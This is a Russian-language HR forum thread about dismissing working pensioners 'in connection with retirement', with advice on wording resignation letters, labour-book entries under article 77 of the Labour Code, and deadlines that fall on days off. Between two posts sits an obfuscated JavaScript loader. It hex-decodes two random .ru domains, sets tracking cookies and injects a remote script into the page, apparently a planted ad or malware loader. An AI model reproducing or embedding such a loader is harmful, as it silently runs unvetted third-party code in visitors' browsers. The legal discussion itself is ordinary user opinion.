Увольнение в связи с уходом на пенсию , Публикация №223330

да у нас на Севере пенсия у женщин с 50 назначается . И продолжала работать.

Это мнение ВАШЕГО ГИТ (к сожалению, в ГИТ дают порой неверные разъяснения), а в целом по стране единого мнения нет, так как нет четкого толкования в законе. Есть и такая точка зрения, что работодатель не имеет права отказывать работнику пенсионного возраста в формулировке " в связи с выходом на пенсию" столько раз , сколько он захочет. Поэтому (раз нет единого законного мнения) лучше находить общий язык с работником и договариваться - чтобы все были довольны, а не категорически настаивать на своем мнении.

Поскольку нет единой, то нельзя сказать какая из них правильная - обе равнозначны))))) Вы высказали свое мнение, я свое - противоположное. Один судья будет сторонник Вашей точки зрения - другой моей. Все будет зависеть от красноречивости и убедительности доказывающей стороны)))))))

Вот с этим категорически не согласна. Это называется "притянуть за уши", ибо четко видна фальсификация : работник хочет УВОЛИТЬСЯ, но , если работодатель возражает против незамедлительного увольнения, ВЫНУЖДЕН брать отпуск без сохранения. А по закону этот отпуск возможен лишь ПО СОБСТВЕННОМУ желанию. Полагаю всем понятна разница между "вынужден" и "сам хочет".

333444, правильно сделали, что в форуме вопрос задали. А то в чате отвечаю и понимаю, что Вы не увидите - там сохраняется определенное количество сообщений.




Переписать нужно заявление. В заявлении не пишется С - указывается дата увольнения (последний рабочий день) . То есть "Прошу уволить меня по собственному желанию 30 апреля 2015 года". Все.


Естественно по п.3 части 1 статьи 77 - ведь это собственное желание


Если заявление сформулировано так, как я написала выше, то и запись обычная "Трудовой договор расторгнут по инициативе работника, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации". А если в заявлении есть приписка "в связи с выходом на пенсию", то и в трудовой нужно дополнить после "по инициативе работника" словами "в связи с выходом на пенсию".

В таком случае возникает вопрос: как быть в ситуации, когда работающий пенсионер подает заявление на увольнение сегодняшним днем за полчаса до окончания сегодняшнего рабочего дня. Как бы имеет же право уволиться в требуемый срок...

Подскажите пожалуйста ,сегодня уволила по собственному желанию работающего пенсионера 59 лет,женщина.
Утром предупредила ,сегодня Ваш последний день , вечером зайдите за трудовой книжкой и подписаться.
Человек скандальный.
Она средний мед персонал. И сертификат закончился(действует 5 лет). то, есть она не имеет право работать в медицине . Попросили по собственному. За трудовой не пришла,по телефону ответила придет после праздников. Я ей Уведомление(уволены зайдите за расчетом и трудовой ) телеграммой с уведомленим о получении. Сейчас позвонили с почты и сказали пытались телеграмму передать,спросила откуда .Услышав ,что из больницы отказалась получать телеграмму.
Что мне будет? Что делать?

Кстати, почта должна Вам дать письменный ответ об этой ситуации - так же 5 числа к ним идите, они оформят этот ответ - что пытались доставить и адресат отказался получать. Так что даже за этот день никакой просрочки не будет.

Здравствуйте. 03.10.15 отцу исполняется 60 лет, работает по графику 2/2, смены выпадают 3 и 4 октября (суббота и воскресенье). Хотел бы уволиться 03.10.15 и 4 числа уже не работать. Но в ОК написал заявление об увольнении по СЖ с выходом на пенсию с 05.10.15., т.к. 3,4 у них выходной. Возможно все же уволиться 03.10. и как правильно это сделать? Как должны все оформить, какими датами и выдать расчет и тр. книжку?
wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="22214",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

тусCя, , ждать когда уволиться преподаватель.
Просто так вы же его не уволите, насильно.
Или проведите процедуру сокращения штатов.

Статья 14 Трудового кодекса РФ Если последний день срока приходится на нерабочий день, то днем окончания срока считается ближайший следующий за ним рабочий день

Здравствуйте!Работая на предприятии работник вышел на пенсию,но в связи с выходом на пенсию,непосредственно после даты выхода не уволился.Должен ли работодатель уволить работника без отработки
,если тот напишет заявление об увольнении в связи с выходом на пенсию через год после даты выхода?

boris_pp, , должен. Увольнение по этому основанию производится только один раз, как в вашем случае. Если он придёт к другому р-дателю, то вновь уволиться по обстоятельства не зависящим от воли сторон (наступление пенсионного возраста ), уже не сможет.